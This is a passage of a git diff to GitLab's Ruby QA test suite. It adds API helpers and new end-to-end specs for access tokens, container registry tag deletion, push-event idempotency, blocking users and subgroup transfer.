- this_registry_repository = registry_repositories.find { |registry_repository| registry_repository[:path] == name }
-
- @repository_id = this_registry_repository[:id]
+ if registry_repositories && !registry_repositories.empty?
QA::Runtime::Logger.debug("Deleting registry '#{name}'")
super
end
end
def api_delete_path
- "/projects/#{project.id}/registry/repositories/#{@repository_id}"
+ "/projects/#{project.id}/registry/repositories/#{id}"
+ end
+
+ def api_delete_tag_path
+ "/projects/#{project.id}/registry/repositories/#{id}/tags/#{tag_name}"
end
def api_get_path
"/projects/#{project.id}/registry/repositories"
end
+
+ def api_get_tags_path
+ "/projects/#{project.id}/registry/repositories/#{id}/tags"
+ end
+
+ def has_tag?(tag_name)
+ response = get Runtime::API::Request.new(api_client, api_get_tags_path).url
+
+ raise ResourceNotFoundError, "Request returned (#{response.code}): `#{response}`." if response.code == HTTP_STATUS_NOT_FOUND
+
+ tag_list = parse_body(response)
+ tag_list.any? { |tag| tag[:name] == tag_name }
+ end
+
+ def has_no_tag?(tag_name)
+ response = get Runtime::API::Request.new(api_client, api_get_tags_path).url
+
+ raise ResourceNotFoundError, "Request returned (#{response.code}): `#{response}`." if response.code == HTTP_STATUS_NOT_FOUND
+
+ tag_list = parse_body(response)
+ tag_list.none? { |tag| tag[:name] == tag_name }
+ end
+
+ def delete_tag
+ QA::Runtime::Logger.debug("Deleting registry tag '#{tag_name}'")
+
+ request = Runtime::API::Request.new(api_client, api_delete_tag_path)
+ response = delete(request.url)
+
+ unless [HTTP_STATUS_NO_CONTENT, HTTP_STATUS_ACCEPTED, HTTP_STATUS_OK].include? response.code
+ raise ResourceNotDeletedError, "Resource at #{request.mask_url} could not be deleted (#{response.code}): `#{response}`."
+ end
+ end
end
end
end
diff --git a/qa/qa/resource/user.rb b/qa/qa/resource/user.rb
index d1a310c7c43..d98b7d7c79d 100644
--- a/qa/qa/resource/user.rb
+++ b/qa/qa/resource/user.rb
@@ -118,6 +118,10 @@ module QA
'/users'
end
+ def api_block_path
+ "/users/#{id}/block"
+ end
+
def api_post_body
{
admin: admin,
@@ -143,6 +147,14 @@ module QA
end
end
+ def block!
+ response = post(Runtime::API::Request.new(api_client, api_block_path).url, nil)
+
+ unless response.code == HTTP_STATUS_CREATED
+ raise ResourceUpdateFailedError, "Failed to block user. Request returned (#{response.code}): `#{response}`."
+ end
+ end
+
private
def ldap_post_body
diff --git a/qa/qa/resource/wiki/group_page.rb b/qa/qa/resource/wiki/group_page.rb
index 27150ecf6c7..83beaf097ca 100644
--- a/qa/qa/resource/wiki/group_page.rb
+++ b/qa/qa/resource/wiki/group_page.rb
@@ -16,6 +16,14 @@ module QA
end
end
+ attribute :repository_http_location do
+ EE::Page::Group::Wiki::Show.perform do |show|
+ show.click_clone_repository
+ show.choose_repository_clone_http
+ show.repository_location
+ end
+ end
+
def initialize
@title = 'Home'
@content = 'This wiki page is created via API'
@@ -42,6 +50,20 @@ module QA
title: title
}
end
+
+ def api_list_wiki_pages_path
+ "/groups/#{group.id}/wikis"
+ end
+
+ def has_page_content?(page_title, page_content)
+ response = get Runtime::API::Request.new(api_client, "#{api_list_wiki_pages_path}?with_content=1").url
+
+ unless response.code == HTTP_STATUS_OK
+ raise ResourceQueryError, "Could not get a list of all wiki pages for a given group. Request returned (#{response.code}): `#{response}`."
+ end
+
+ parse_body(response).any? { |page| page[:title] == page_title && page[:content] == page_content }
+ end
end
end
end
diff --git a/qa/qa/runtime/api/repository_storage_moves.rb b/qa/qa/runtime/api/repository_storage_moves.rb
index 5630a9c02c5..d1d44bd1ab5 100644
--- a/qa/qa/runtime/api/repository_storage_moves.rb
+++ b/qa/qa/runtime/api/repository_storage_moves.rb
@@ -33,6 +33,8 @@ module QA
def resource_equals?(resource, move)
if resource.class.name.include?('Snippet')
move[:snippet][:id] == resource.id
+ elsif resource.class.name.include?('Group')
+ move[:group][:id] == resource.id
else
move[:project][:path_with_namespace] == resource.path_with_namespace
end
diff --git a/qa/qa/runtime/api/request.rb b/qa/qa/runtime/api/request.rb
index b58be354103..28bae541cb8 100644
--- a/qa/qa/runtime/api/request.rb
+++ b/qa/qa/runtime/api/request.rb
@@ -4,7 +4,7 @@ module QA
module Runtime
module API
class Request
- API_VERSION = 'v4'.freeze
+ API_VERSION = 'v4'
def initialize(api_client, path, **query_string)
query_string[:private_token] ||= api_client.personal_access_token unless query_string[:oauth_access_token]
diff --git a/qa/qa/runtime/env.rb b/qa/qa/runtime/env.rb
index 7aa45204513..e4b92dc2e0d 100644
--- a/qa/qa/runtime/env.rb
+++ b/qa/qa/runtime/env.rb
@@ -2,6 +2,7 @@
require 'gitlab/qa'
require 'uri'
+require 'active_support/core_ext/object/blank'
module QA
module Runtime
@@ -24,48 +25,6 @@ module QA
SUPPORTED_FEATURES
end
- def context_matches?(*options)
- return false unless Runtime::Scenario.attributes[:gitlab_address]
-
- opts = {}
- opts[:domain] = '.+'
- opts[:tld] = '.com'
-
- uri = URI(Runtime::Scenario.gitlab_address)
-
- options.each do |option|
- opts[:domain] = 'gitlab' if option == :production
-
- if option.is_a?(Hash) && !option[:pipeline].nil? && !ci_project_name.nil?
- return pipeline_matches?(option[:pipeline])
-
- elsif option.is_a?(Hash) && !option[:subdomain].nil?
- opts.merge!(option)
-
- opts[:subdomain] = case option[:subdomain]
- when Array
- "(#{option[:subdomain].join("|")})."
- when Regexp
- option[:subdomain]
- else
- "(#{option[:subdomain]})."
- end
- end
- end
-
- uri.host.match?(/^#{opts[:subdomain]}#{opts[:domain]}#{opts[:tld]}$/)
- end
-
- alias_method :dot_com?, :context_matches?
-
- def pipeline_matches?(pipeline_to_run_in)
- Array(pipeline_to_run_in).any? { |pipeline| pipeline.to_s.casecmp?(pipeline_from_project_name) }
- end
-
- def pipeline_from_project_name
- ci_project_name.to_s.start_with?('gitlab-qa') ? Runtime::Env.default_branch : ci_project_name
- end
-
def additional_repository_storage
ENV['QA_ADDITIONAL_REPOSITORY_STORAGE']
end
@@ -82,6 +41,10 @@ module QA
ENV['CI_JOB_URL']
end
+ def ci_job_name
+ ENV['CI_JOB_NAME']
+ end
+
def ci_project_name
ENV['CI_PROJECT_NAME']
end
@@ -181,6 +144,10 @@ module QA
ENV['GITLAB_PASSWORD']
end
+ def initial_root_password
+ ENV['GITLAB_INITIAL_ROOT_PASSWORD']
+ end
+
def github_username
ENV['GITHUB_USERNAME']
end
diff --git a/qa/qa/runtime/user.rb b/qa/qa/runtime/user.rb
index c50fcc25304..a836206034d 100644
--- a/qa/qa/runtime/user.rb
+++ b/qa/qa/runtime/user.rb
@@ -18,7 +18,7 @@ module QA
end
def default_password
- '5iveL!fe'
+ Runtime::Env.initial_root_password || '5iveL!fe'
end
def username
diff --git a/qa/qa/scenario/test/integration/object_storage.rb b/qa/qa/scenario/test/integration/object_storage.rb
deleted file mode 100644
index 2e028bbb5c6..00000000000
--- a/qa/qa/scenario/test/integration/object_storage.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- module Scenario
- module Test
- module Integration
- class ObjectStorage < Test::Instance::All
- tags :object_storage
- end
- end
- end
- end
-end
diff --git a/qa/qa/service/praefect_manager.rb b/qa/qa/service/praefect_manager.rb
index 119013175c0..5adc52680f0 100644
--- a/qa/qa/service/praefect_manager.rb
+++ b/qa/qa/service/praefect_manager.rb
@@ -180,10 +180,10 @@ module QA
wait_for_reliable_connection
end
- def verify_storage_move(source_storage, destination_storage)
- return if QA::Runtime::Env.dot_com?
+ def verify_storage_move(source_storage, destination_storage, repo_type: :project)
+ return if Specs::Helpers::ContextSelector.dot_com?
- repo_path = verify_storage_move_from_gitaly(source_storage[:name])
+ repo_path = verify_storage_move_from_gitaly(source_storage[:name], repo_type: repo_type)
destination_storage[:type] == :praefect ? verify_storage_move_to_praefect(repo_path, destination_storage[:name]) : verify_storage_move_to_gitaly(repo_path, destination_storage[:name])
end
@@ -225,6 +225,10 @@ module QA
)
end
+ def health_check_failure_message?(msg)
+ ['error when pinging healthcheck', 'failed checking node health'].include?(msg)
+ end
+
def wait_for_no_praefect_storage_error
# If a healthcheck error was the last message to be logged, we'll keep seeing that message even if it's no longer a problem
# That is, there's no message shown in the Praefect logs when the healthcheck succeeds
@@ -241,7 +245,7 @@ module QA
QA::Runtime::Logger.debug(line.chomp)
log = JSON.parse(line)
- break true if log['msg'] != 'error when pinging healthcheck'
+ break true unless health_check_failure_message?(log['msg'])
rescue JSON::ParserError
# Ignore lines that can't be parsed as JSON
end
@@ -302,7 +306,7 @@ module QA
QA::Runtime::Logger.debug(line.chomp)
log = JSON.parse(line)
- log['msg'] == 'error when pinging healthcheck' && log['storage'] == node
+ health_check_failure_message?(log['msg']) && log['storage'] == node
rescue JSON::ParserError
# Ignore lines that can't be parsed as JSON
end
@@ -404,13 +408,13 @@ module QA
Service::Shellout.sql_to_docker_exec_cmd(sql, 'postgres', 'SQL_PASSWORD', 'praefect_production', 'postgres.test', @postgres)
end
- def verify_storage_move_from_gitaly(storage)
+ def verify_storage_move_from_gitaly(storage, repo_type: :project)
wait_until_shell_command("docker exec #{@gitlab} bash -c 'tail -n 50 /var/log/gitlab/gitaly/current'") do |line|
log = JSON.parse(line)
if (log['grpc.method'] == 'RenameRepository' || log['grpc.method'] == 'RemoveRepository') &&
log['grpc.request.repoStorage'] == storage &&
- !log['grpc.request.repoPath'].include?('wiki')
+ repo_type(log['grpc.request.repoPath']) == repo_type
break log['grpc.request.repoPath']
end
rescue JSON::ParserError
@@ -444,6 +448,17 @@ module QA
yield JSON.parse(line)
end
end
+
+ def repo_type(repo_path)
+ return :snippet if repo_path.start_with?('@snippets')
+ return :design if repo_path.end_with?('.design.git')
+
+ if repo_path.end_with?('.wiki.git')
+ return repo_path.start_with?('@groups') ? :group_wiki : :wiki
+ end
+
+ :project
+ end
end
end
end
diff --git a/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb b/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
new file mode 100644
index 00000000000..6024c8658d5
--- /dev/null
+++ b/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Manage' do
+ describe 'Project access token' do
+ before(:all) do
+ @project_access_token = QA::Resource::ProjectAccessToken.fabricate_via_api!
+ @user_api_client = Runtime::API::Client.new(:gitlab, personal_access_token: @project_access_token.token)
+ end
+
+ context 'for the same project' do
+ it 'can be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1734' do
+ expect do
+ Resource::File.fabricate_via_api! do |file|
+ file.api_client = @user_api_client
+ file.project = @project_access_token.project
+ file.branch = 'new_branch'
+ file.commit_message = 'Add new file'
+ file.name = "text-#{SecureRandom.hex(8)}.txt"
+ file.content = 'New file'
+ end
+ end.not_to raise_error
+ end
+
+ it 'can be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1735' do
+ expect do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.api_client = @user_api_client
+ commit.project = @project_access_token.project
+ commit.branch = 'new_branch'
+ commit.start_branch = @project_access_token.project.default_branch
+ commit.commit_message = 'Add new file'
+ commit.add_files([
+ { file_path: "text-#{SecureRandom.hex(8)}.txt", content: 'new file' }
+ ])
+ end
+ end.not_to raise_error
+ end
+ end
+
+ context 'for a different project' do
+ before(:all) do
+ @different_project = Resource::Project.fabricate!
+ end
+
+ it 'cannot be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1736' do
+ expect do
+ Resource::File.fabricate_via_api! do |file|
+ file.api_client = @user_api_client
+ file.project = @different_project
+ file.branch = 'new_branch'
+ file.commit_message = 'Add new file'
+ file.name = "text-#{SecureRandom.hex(8)}.txt"
+ file.content = 'New file'
+ end
+ end.to raise_error(Resource::ApiFabricator::ResourceFabricationFailedError, /403 Forbidden/)
+ end
+
+ it 'cannot be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1737' do
+ expect do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.api_client = @user_api_client
+ commit.project = @different_project
+ commit.branch = 'new_branch'
+ commit.start_branch = @different_project.default_branch
+ commit.commit_message = 'Add new file'
+ commit.add_files([
+ { file_path: "text-#{SecureRandom.hex(8)}.txt", content: 'new file' }
+ ])
+ end
+ end.to raise_error(Resource::ApiFabricator::ResourceFabricationFailedError, /403 Forbidden - You are not allowed to push into this branch/)
+ end
+
+ after(:all) do
+ @different_project.remove_via_api!
+ end
+ end
+
+ after(:all) do
+ @project_access_token.remove_via_api!
+ @project_access_token.project.remove_via_api!
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb b/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb
index b7f71ad5bcd..a069b94f4da 100644
--- a/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/user_access_termination_spec.rb
@@ -12,7 +12,9 @@ module QA
@user_api_client = Runtime::API::Client.new(:gitlab, user: @user)
- @group = Resource::Group.fabricate_via_api!
+ @group = QA::Resource::Group.fabricate_via_api! do |group|
+ group.path = "group-to-test-access-termination-#{SecureRandom.hex(8)}"
+ end
@group.sandbox.add_member(@user)
@@ -73,11 +75,7 @@ module QA
after(:all) do
@user.remove_via_api!
@project.remove_via_api!
- begin
- @group.remove_via_api!
- rescue Resource::ApiFabricator::ResourceNotDeletedError
- # It is ok if the group is already marked for deletion by another test
- end
+ @group.remove_via_api!
end
end
end
diff --git a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
index 631056ed52e..176f1139a7a 100644
--- a/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
+++ b/qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb
@@ -9,7 +9,7 @@ module QA
it 'confirms a `finished` status after moving project repository storage' do
expect(project).to have_file('README.md')
expect { project.change_repository_storage(destination_storage[:name]) }.not_to raise_error
- expect { praefect_manager.verify_storage_move(source_storage, destination_storage) }.not_to raise_error
+ expect { praefect_manager.verify_storage_move(source_storage, destination_storage, repo_type: :project) }.not_to raise_error
Resource::Repository::ProjectPush.fabricate! do |push|
push.project = project
@@ -45,7 +45,7 @@ module QA
# Note: This test doesn't have the :orchestrated tag because it runs in the Test::Integration::Praefect
# scenario with other tests that aren't considered orchestrated.
# It also runs on staging using nfs-file07 as non-cluster storage and nfs-file22 as cluster/praefect storage
- context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/974', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284645', type: :investigating } do
+ context 'when moving from Gitaly to Gitaly Cluster', :requires_praefect, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1755', quarantine: { issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/284645', type: :investigating } do
let(:source_storage) { { type: :gitaly, name: QA::Runtime::Env.non_cluster_repository_storage } }
let(:destination_storage) { { type: :praefect, name: QA::Runtime::Env.praefect_repository_storage } }
let(:project) do
diff --git a/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb b/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb
new file mode 100644
index 00000000000..c06e3b9f162
--- /dev/null
+++ b/qa/qa/specs/features/api/3_create/repository/push_postreceive_idempotent_spec.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Create' do
+ describe 'PostReceive idempotent' do
+ # Tests that a push does not result in multiple changes from repeated PostReceive executions.
+ # One of the consequences would be duplicate push events
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'push-postreceive-idempotent'
+ project.initialize_with_readme = true
+ end
+ end
+
+ after do
+ project&.remove_via_api!
+ end
+
+ it 'pushes and creates a single push event three times', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1744' do
+ verify_single_event_per_push(repeat: 3)
+ end
+
+ it 'repeatedly pushes and creates a single push event several times', :transient, testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1744' do
+ verify_single_event_per_push(repeat: Runtime::Env.transient_trials) do |i|
+ QA::Runtime::Logger.info("Transient bug test action - Trial #{i}")
+ end
+ end
+
+ def verify_single_event_per_push(repeat:)
+ repeat.times do |i|
+ yield i if block_given?
+
+ commit_message = "test post-receive idempotency #{SecureRandom.hex(8)}"
+
+ Resource::Repository::ProjectPush.fabricate! do |push|
+ push.project = project
+ push.new_branch = false
+ push.commit_message = commit_message
+ end
+
+ events = project.push_events(commit_message)
+
+ aggregate_failures do
+ expect(events.size).to eq(1), "An unexpected number of push events was created"
+ expect(events.first.dig(:push_data, :commit_title)).to eq(commit_message)
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb b/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb
index 4872acd1004..7b82a872fc0 100644
--- a/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb
+++ b/qa/qa/specs/features/api/3_create/snippet/snippet_repository_storage_move_spec.rb
@@ -24,7 +24,7 @@ module QA
it 'moves snippet repository from one Gitaly storage to another', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1700' do
expect(snippet).to have_file('original_file')
expect { snippet.change_repository_storage(destination_storage[:name]) }.not_to raise_error
- expect { praefect_manager.verify_storage_move(source_storage, destination_storage) }.not_to raise_error
+ expect { praefect_manager.verify_storage_move(source_storage, destination_storage, repo_type: :snippet) }.not_to raise_error
# verifies you can push commits to the moved snippet
Resource::Repository::Push.fabricate! do |push|
diff --git a/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb b/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb
new file mode 100644
index 00000000000..ecca0f94604
--- /dev/null
+++ b/qa/qa/specs/features/api/4_verify/cancel_pipeline_when_block_user_spec.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Verify', :requires_admin do
+ describe 'When user is blocked' do
+ let!(:admin_api_client) { Runtime::API::Client.as_admin }
+ let!(:user_api_client) { Runtime::API::Client.new(:gitlab, user: user) }
+
+ let(:user) do
+ Resource::User.fabricate_via_api! do |resource|
+ resource.api_client = admin_api_client
+ end
+ end
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-for-canceled-schedule'
+ end
+ end
+
+ before do
+ project.add_member(user, Resource::Members::AccessLevel::MAINTAINER)
+
+ Resource::PipelineSchedules.fabricate_via_api! do |schedule|
+ schedule.api_client = user_api_client
+ schedule.project = project
+ end
+
+ Support::Waiter.wait_until { !pipeline_schedule[:id].nil? && pipeline_schedule[:active] == true }
+ end
+
+ after do
+ user.remove_via_api!
+ project.remove_via_api!
+ end
+
+ it 'pipeline schedule is canceled', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1730' do
+ user.block!
+
+ expect(pipeline_schedule[:active]).not_to be_truthy, "Expected schedule active state to be false - active state #{pipeline_schedule[:active]}"
+ end
+
+ private
+
+ def pipeline_schedule
+ project.pipeline_schedules.first
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/api/5_package/.gitkeep b/qa/qa/specs/features/api/5_package/.gitkeep
deleted file mode 100644
index e69de29bb2d..00000000000
--- a/qa/qa/specs/features/api/5_package/.gitkeep
+++ /dev/null
diff --git a/qa/qa/specs/features/api/5_package/container_registry_spec.rb b/qa/qa/specs/features/api/5_package/container_registry_spec.rb
new file mode 100644
index 00000000000..57b059ffc02
--- /dev/null
+++ b/qa/qa/specs/features/api/5_package/container_registry_spec.rb
@@ -0,0 +1,119 @@
+# frozen_string_literal: true
+
+require 'airborne'
+
+module QA
+ RSpec.describe 'Package', only: { subdomain: :staging } do
+ include Support::Api
+
+ describe 'Container Registry' do
+ let(:api_client) { Runtime::API::Client.new(:gitlab) }
+
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.name = 'project-with-registry-api'
+ project.template_name = 'express'
+ end
+ end
+
+ let(:registry) do
+ Resource::RegistryRepository.new.tap do |repository|
+ repository.name = "#{project.path_with_namespace}"
+ repository.project = project
+ repository.tag_name = 'master'
+ end
+ end
+
+ let(:gitlab_ci_yaml) do
+ <<~YAML
+ stages:
+ - build
+ - test
+
+ build:
+ image: docker:19.03.12
+ stage: build
+ services:
+ - docker:19.03.12-dind
+ variables:
+ IMAGE_TAG: $CI_REGISTRY_IMAGE:$CI_COMMIT_REF_SLUG
+ script:
+ - docker login -u $CI_REGISTRY_USER -p $CI_REGISTRY_PASSWORD $CI_REGISTRY
+ - docker build -t $IMAGE_TAG .
+ - docker push $IMAGE_TAG
+ - docker pull $IMAGE_TAG
+
+ test:
+ image: dwdraju/alpine-curl-jq:latest
+ stage: test
+ variables:
+ MEDIA_TYPE: 'application/vnd.docker.distribution.manifest.v2+json'
+ before_script:
+ - token=$(curl -u "$CI_REGISTRY_USER:$CI_REGISTRY_PASSWORD" "https://$CI_SERVER_HOST/jwt/auth?service=container_registry&scope=repository:$CI_PROJECT_PATH:pull,push,delete" | jq -r '.token')
+ script:
+ - 'digest=$(curl -L -H "Authorization: Bearer $token" -H "Accept: $MEDIA_TYPE" "https://$CI_REGISTRY/v2/$CI_PROJECT_PATH/manifests/master" | jq -r ".layers[0].digest")'
+ - 'curl -L -X DELETE -H "Authorization: Bearer $token" -H "Accept: $MEDIA_TYPE" "https://$CI_REGISTRY/v2/$CI_PROJECT_PATH/blobs/$digest"'
+ - 'curl -L --head -H "Authorization: Bearer $token" -H "Accept: $MEDIA_TYPE" "https://$CI_REGISTRY/v2/$CI_PROJECT_PATH/blobs/$digest"'
+ - 'digest=$(curl -L -H "Authorization: Bearer $token" -H "Accept: $MEDIA_TYPE" "https://$CI_REGISTRY/v2/$CI_PROJECT_PATH/manifests/master" | jq -r ".config.digest")'
+ - 'curl -L -X DELETE -H "Authorization: Bearer $token" -H "Accept: $MEDIA_TYPE" "https://$CI_REGISTRY/v2/$CI_PROJECT_PATH/manifests/$digest"'
+ - 'curl -L --head -H "Authorization: Bearer $token" -H "Accept: $MEDIA_TYPE" "https://$CI_REGISTRY/v2/$CI_PROJECT_PATH/manifests/$digest"'
+
+ YAML
+ end
+
+ after do
+ registry&.remove_via_api!
+ end
+
+ it 'pushes, pulls image to the registry and deletes image blob, manifest and tag', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1738' do
+ Resource::Repository::Commit.fabricate_via_api! do |commit|
+ commit.project = project
+ commit.commit_message = 'Add .gitlab-ci.yml'
+ commit.add_files([{
+ file_path: '.gitlab-ci.yml',
+ content: gitlab_ci_yaml
+ }])
+ end
+
+ Support::Waiter.wait_until(max_duration: 10) { pipeline_is_triggered? }
+
+ Support::Retrier.retry_until(max_duration: 260, sleep_interval: 5) do
+ latest_pipeline_succeed?
+ end
+
+ expect(job_log).to have_content '404 Not Found'
+
+ expect(registry).to have_tag('master')
+
+ registry.delete_tag
+
+ expect(registry).not_to have_tag('master')
+ end
+
+ private
+
+ def pipeline_is_triggered?
+ !project.pipelines.empty?
+ end
+
+ def latest_pipeline_succeed?
+ latest_pipeline = project.pipelines.first
+ latest_pipeline[:status] == 'success'
+ end
+
+ def job_log
+ pipeline = project.pipelines.first
+ pipeline_id = pipeline[:id]
+
+ jobs = get Runtime::API::Request.new(api_client, "/projects/#{project.id}/pipelines/#{pipeline_id}/jobs").url
+ test_job = parse_body(jobs).first
+ test_job_id = test_job[:id]
+
+ log = get Runtime::API::Request.new(api_client, "/projects/#{project.id}/jobs/#{test_job_id}/trace").url
+ QA::Runtime::Logger.debug(" \n\n ------- Test job log: ------- \n\n #{log} \n -------")
+
+ log
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
new file mode 100644
index 00000000000..d6bcd134a03
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Manage' do
+ describe 'Subgroup transfer' do
+ let(:source_group) do
+ Resource::Group.fabricate_via_api! do |group|
+ group.path = "source-group-for-transfer_#{SecureRandom.hex(8)}"
+ end
+ end
+
+ let!(:target_group) do
+ Resource::Group.fabricate_via_api! do |group|
+ group.path = "target-group-for-transfer_#{SecureRandom.hex(8)}"
+ end
+ end
+
+ let(:sub_group_for_transfer) do
+ Resource::Group.fabricate_via_api! do |group|
+ group.path = "subgroup-for-transfer_#{SecureRandom.hex(8)}"
+ group.sandbox = source_group
+ end
+ end
+
+ before do
+ Flow::Login.sign_in
+ sub_group_for_transfer.visit!
+ end
+
+ it 'transfers a subgroup to another group',
+ testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1724' do
+ Page::Group::Menu.perform(&:click_group_general_settings_item)
+ Page::Group::Settings::General.perform do |general|
+ general.transfer_group(target_group.path)
+ end
+
+ expect(page).to have_text("Group '#{sub_group_for_transfer.path}' was successfully transferred.")
+ expect(page.driver.current_url).to include("#{target_group.path}/#{sub_group_for_transfer.path}")
+ end
+
+ after do
+ source_group&.remove_via_api!
+ target_group&.remove_via_api!
+ sub_group_for_transfer&.remove_via_api!
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
index 4141060b6cb..5fbcd69817b 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb
@@ -71,7 +71,7 @@ module QA
Flow::Login.sign_in(as: user, skip_page_validation: true)
- expect(page).to have_text("Invalid Login or password")
+ expect(page).to have_text("Invalid login or password")
@recreated_user = Resource::User.fabricate_via_browser_ui! do |resource|
resource.name = user.name
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
index c8c483fc2aa..5072b6d48bf 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/import_github_repo_spec.rb
@@ -29,7 +29,7 @@ module QA
user.remove_via_api!
end
- it 'imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/385' do
+ it 'imports a GitHub repo', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1762' do
Flow::Login.sign_in(as: user)
imported_project # import the project
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb
new file mode 100644
index 00000000000..00d1b829150
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/project_access_token_spec.rb
@@ -0,0 +1,20 @@
+# frozen_string_literal: true
+
+module QA
+ RSpec.describe 'Manage' do
+ describe 'Project access tokens' do
+ let(:project_access_token) {QA::Resource::ProjectAccessToken.fabricate_via_browser_ui!}
+
+ it 'can be created and revoked via the UI' do
+ expect(project_access_token.token).not_to be_nil
+
+ project_access_token.revoke_via_ui!
+ expect(page).to have_text("Revoked project access token #{project_access_token.name}!")
+ end
+
+ after do
+ project_access_token.project.remove_via_api!
+ end
+ end
+ end
+end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb
index 7ec217cb47d..2a91c674a22 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/user/user_access_termination_spec.rb
@@ -12,7 +12,9 @@ module QA
end
let!(:group) do
- group = Resource::Group.fabricate_via_api!
+ group = QA::Resource::Group.fabricate_via_api! do |group|
+ group.path = "group-to-test-access-termination-#{SecureRandom.hex(8)}"
+ end
group.sandbox.add_member(user)
group
end
@@ -53,11 +55,7 @@ module QA
after do
user.remove_via_api!
project.remove_via_api!
- begin
- group.remove_via_api!
- rescue Resource::ApiFabricator::ResourceNotDeletedError
- # It is ok if the group is already marked for deletion by another test
- end
+ group.remove_via_api!
end
end
end
diff --git a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
index de6b24e8477..b2b37fcd424 100644
--- a/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
+++ b/qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb
@@ -48,7 +48,7 @@ module QA
Resource::Issue.fabricate_via_api!.visit!
end
- it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/393' do
+ it 'comments on an issue with an attachment', testcase: 'https://gitlab.com/gitlab-org/quality/testcases/-/issues/1742' do
Page::Project::Issue::Show.perform do |show|
show.comment('See attached banana for scale', attachment: file_to_attach)
diff --git a/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb b/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb
new file mode 100644
index 00000000000..f2e4a320e04
--- /dev/null
+++ b/qa/qa/specs/features/browser_ui/2_plan/transient/comment_on_discussion_spec.rb
@@ -0,0 +1,48 @@
